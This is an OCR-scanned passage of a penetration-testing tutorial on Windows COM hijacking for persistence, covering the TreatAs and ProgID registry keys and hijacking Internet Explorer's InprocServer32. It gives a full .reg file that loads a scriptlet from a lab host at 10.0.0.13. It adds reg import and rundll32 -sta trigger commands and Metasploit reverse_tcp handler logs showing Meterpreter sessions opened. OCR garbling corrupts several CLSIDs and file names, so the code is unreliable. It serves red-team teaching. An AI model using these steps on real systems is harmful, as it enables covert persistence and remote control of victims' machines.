The “TreatAs” is a registry key which allows a CLSID to be emulated by another CLSID. This
can be used to redirect a COM object to another COM object. This was presented initially by
Casey Smith and Matt Nelson in their talk Windows Operating System Archaeology in 2017.
Abuse of the “TreatAs” involves the following two steps:

1. Create a malicious CLSID in the HKCU registry hive with a target COM server of choice.
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https://twitter.com/enigma0x3
https://www.youtube.com/watch?v=3gz1QmiMhss

2. Hijack the legitimate CLSID by adding the “TreatAs” subkey pointing to the malicious
CLSID.

The “ProgID’ is the friendly name of a COM object and it is not unique. The following registry
keys resolve ProglD’s to CLSID’s.

¢ HKCU\Software\Classes
o HKLM\Software\Classes

This means that when an application (client) activates a COM object (class) the operating
system will resolve the associated “ProglID” by reading initially the following registry location:

HKCU\Software\Classes\ProgID

Casey Smith and Matt Nelson released a proof of concept as part of their presentation to
demonstrate that a class could be called as well by its “ProgID” or by the “TreatAs” subkey to
perform evasion. The following file can be used as an example.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00]

@="Bandit"

[HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.8@8\CLSID]
@="{00000001-0000-0000-0000-00BBFEEDACDC}"

[HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit]

@="Bandit"

[HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit\CLSID]

@="{00000001 - 0000 - 0000 - 0001 -0VOAFEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC} ]

@="Bandit"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32]
@="C:\\WINDOWS\\system32\\scrobj.d11"

"ThreadingModel"="Apartment"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID]
@="pentestlab.1.00"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{P0000001-0000-0000-0000-000@FEEDACDC }\ScriptletURL]
@="http://10.0.0.13/tmp/pentestlab.sct"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID
@="Bandit"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{3734FF83-6764-44B7-A1B9-55F56183CDB@} ]
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{3734FF83-6764-44B7-A1B9-55F56183CDBO}\TreatAs]
@="{00000001-0000-0000-0000-00BOFEEDACDC}"

COM Hijacking — TreatAs & ProglD Registry Keys

The file will create the required registry keys that would be used for the hijack of a valid
CLSID. Executing the command below will import the file into the registry.

1 reg import TreatAsPersistence.reg
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https://twitter.com/enigma0x3

Command Prompt

COM Hijacking — Import Registry Keys TreatAs & ProgID

The “rundll32” utility with the “-sta” (single threaded apartment) switch can be used to call the
malicious “TreatAs” CLSID or the “ProlD".

1 rundll32 -sta {00000001-0000-0000-0000-00COFEEDACDC}
2 rundll32 -sta "pentestlab"

Command Prompt

ion 18.
yration. AllL r

\pentestlab»>rundll32 -sta {©8806001-0000-2600-0000-2888FEEDACDC}
rshpentestlab>rundll32 -sta "pentestlab”

rshpentestlab>g

COM Hijacking — TreatAs & ProgID

In both scenarios the arbitrary code is executed successfully and sessions are opened.
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Starting persistent handler(s) ...
msf5 > use exploit/multi/handler
msf5 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf5 exploit( ) > set LHOST 10.0.0.13
LHOST = 10.0.0.13
msf5 exploit( ) > set LPORT 6666
LPORT = 6666
msf5 exploit( ) > exploit

Started reverse TCP handler on 10.0.0.13:6666

Sending stage (206403 bytes) to 10.0.0.15

Meterpreter session 1 opened (10.0.0.13:6666 — 10.0.0.15:49702) at 2020-85-16 18:33:
25 -0400

meterpreter > background
Backgrounding session 1...

msf5 exploit( ) > exploit

Started reverse TCP handler on 10.08.0.13:6666

Sending stage (206403 bytes) to 10.0.0.15

Meterpreter session 2 opened (10.0.0.13:6666 — 10.0.0.15:49703) at 2020-05-16 18:35:
30 -0400

meterpreter > |

COM Hijacking — TreatAs & ProglD Meterpreter

InprocServer32 — Internet Explorer

Internet Explorer is used actively in corporate environments as it provides compatibility with
internal applications that have a web interface. An analysis of the COMpfun RAT by G Data
SecurityL abs revealed that threat actors hijacked a legitimate COM object in order to establish
persistence on the system when Internet Explorer process is invoked.

This is because Internet Explorer like many other Windows applications uses the following file
“api-ms-win-downlevel-1x64-11-1-0._dl or “api-ms-win-downlevel-1x86-11-1-0._dl’ when the
process is starting. This file can be found in the following Windows location:

1 %APPDATA%\Microsoft\Installer\{BCDE®395-E52F-467C-8E3D-C4579291692E}
The COM Object hijacking_persistence PowerShell script can be used as a proof of concept of

this technique. Executing the script will create the required folder structure and will perform a
check on the architecture of the host in order to make the necessary registry modifications.

1 Import-Module '.\COM Object hijacking persistence.psl
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https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
https://github.com/3gstudent/COM-Object-hijacking

Command Prompt - powershell

—1 = — —1 — — — — — — T
et bt e bt b bl b b ol et

Persistence COM Hijacking — Internet Explorer

When the process “iexplore.exe” is launched, the calculator will start which will prove that the

hijack was successful.

Caleulator - o x
= Standard O
0
M: M Ms
Yo v x? Yx
CE C il -
7 8 9 X
4 5 6 -
1 2 3 +
+ 0 . =

Persistence COM Hijacking — iexplore.exe & calc

It is also trivial to generate an arbitrary DLL with Metasploit utility “msfvenom” and replace the

.dl file in order to establish a Meterpreter session.
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. l {BCDE0395-E52F-467C-8E3D-C4579291692E}

File Home Share Wiew
« v A < |nsta.. » {BCDE0D395-E52F-467C-8E3D-C4579... v O = Search {BCDED395-E52F-467C-8E3D-C45792
[ MWame a Date modified Type Size

[ This PC

I Desktop D api-ms-win-downlevel-1x64-11-1-0._dl ~ 5/17/2020 4:44 AM _DLFile 5KB
D api-ms-win-downlevel-1x86-11-1-0._dl ~ 5/17/2020 1:11 PM _DLFile 1KB

Documents
* Downloads
J'J Music
&=/ Pictures
B Videos
‘ams Local Disk (C:)
) DVD Drive (Ix) Win1

COM Hijacking — Internet Explorer Metasploit DLL

Creating the following CLSID manually in the registry and modify the key to point to the
location of the DLL on the system.

File Edit View Favorites Help

Computer\HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b3f8350b-0543-42b1-abee-B8bd00bdaseT \ InprocServerd2

v | CLSiD || Name Type Data
[m;'m@"i‘ﬁ"’! 138] (Default) REG_SZ Ci\Users\pentestiab\AppData\Roaming\Microsoft\Installer\{BCDE0395-ES2F-467C- BE3D- CASTS291692E Papi-ms-win-downlevel-1x64-1-1-0,_dI
{ ) “4dc3-B131- at) ThreadingModel  REG_SZ Apartment

[3T34FF83-6764-44BT-A1BS-!
I (92384d36-7862-0010-F462-b
v [b58350b-0548-48k1-abee-2
InprocServer32
Extensions
http
https
Local Settings
mailto
microsoft-edge
microsoft-edge-holographic
microsoftmusic
microsoftvideo
MIME
ms-aad-brokerplugin

COM Hijacking — Internet Explorer Registry Location

When Internet Explorer is launched again the DLL file will loaded under a trusted process.
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85 Process Ex plorer - Sysinternals: www.sysinternals.com [OPREKIN-PC\pentestlab]

A Meterpreter session will open which will demonstrate that persistence has been achieved. It

File Options View Process Find DLL  Users Help
d & =208 &< g | | [{] I |||
Process CPU  Private Bytes =~ Waorking Set  PID  Description Compary Mame
= | 7 winlogon exe 2,796 K 204 K Bed
B | fontdrvhost.exe 1638 K 464 K 744
B | dwm.exe 0.08 16412 K 210K 944
[=| g explorer.exe 019 45,352 K 28416 K 3224 Windows Explorer Microsoft Corporation
@vrntmlsd.e:e 017 16,576 K 1860 K 3236 VMware Tools Core Service  VMware, Inc.
¥ ' regedit.exe 5.060 K 1020 K 2460
= [ cmd .exe 2336 K 0K 5604 Windows Command Processor Microsoft Comparation
[ conhost exe 7412 K 1,072 K 5500 Console Window Host Microsoft Corporation
¥ powershell exe 0.03 65,884 K 28 K 2588 Windows PowerShell Microsoft Corporation
= (=iexplore exe 4308 K 0K 5340 Intemet Explorer Microsoft Comporation
l_] rundll32 exe 3,296 K 416 K 4520 Windows host process (Run... Microsoft Corporation
2 procexpbd exe 166 17632 K 8876 K 2504 Sysintemals Process Explorer  Sysintemals - www sysinter
MName Description Company Mame Fath
advapil2.di Advanced Windows 32 Base API Microsoft Corporation C:\Windows \System 32 advapil2 dll
api-ms-win-downlev ... C:A\Users\pentestlabApp Data" Roaming \Microsoft \Installer'...
apphelp dl Application Compatibility Client Libr... Microsoft Corporation C:\Windows \System 32 apphelp dil
berypt dll Windows Cryptographic Primitives .. Microsoft Carparation C:AWindows\System 32 borypt dll
beryptprimitives.dll Windows Cryptographic Primitives ... Microsoft Corporation C:\Windows"\System 32 beryptprimitives dl
clbeatq.dil COM+ Configuration Catalog Microsoft Corporation C:\Windows'\System 32 clbcatg.dll
combase dll Microsoft COM for Windows Microsoft Corporation C:A\Windows\System 32combase dll

Persistence COM Hijacking — Internet Explorer Process Explorer

should be noted that using directly a DLL generated by Metasploit it might cause system

instability and Internet Explorer might run as a process but not open. This is because the
CAccPropServiceClass () will be called multiple times, therefore some further optimization

on the DLL file

Code: 00 00 ©

is needed.

@ 00 M3 T4 SP

L@ AT

Aiee, Killing Interrupt handler

+

me

%

loit

v5.0.68

FR

4M 3W OR K! V3 RS

pe 00 00 00

1957 ex

ploits - 1093 a

uxiliary - 336 post

562 payloads - 46 encoders - 10 nops

7 evasi

msf5 exploit(

on

) > ex

ploit

Started reverse TCP handler on 10.0.0.13:2000
Sending stage (206403 bytes) to 10.0.0.15

Meterpreter session 6 opened (10.0.0.13:2000 — 10.0.0.15:49675) at 2020-05-17 08:12:

45 -0400

meterpreter > get
Current pid: 4920

meterpreter > |

pid

COM Hijacking — Internet Explorer Meterpreter
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YouTube

Persistence - COM Hijacking

Discovery of

Hijackable Keys

PowerShell

https://youtu.be/SNPdW8wBO_A

Tools

e https://github.com/nccgroup/Accomplice

 https://github.com/tyranid/oleviewdotnet

e https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-
ScheduledTaskComHandler.ps1

e https://github.com/3gstudent/ COM-Object-hijacking

References

* https://attack.mitre.org/techniques/T1122/

e https://www.youtube.com/watch?v=pH14BvUITLY

e https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-
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inprocserver32/
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techniques-for-evasion-and-persistence/
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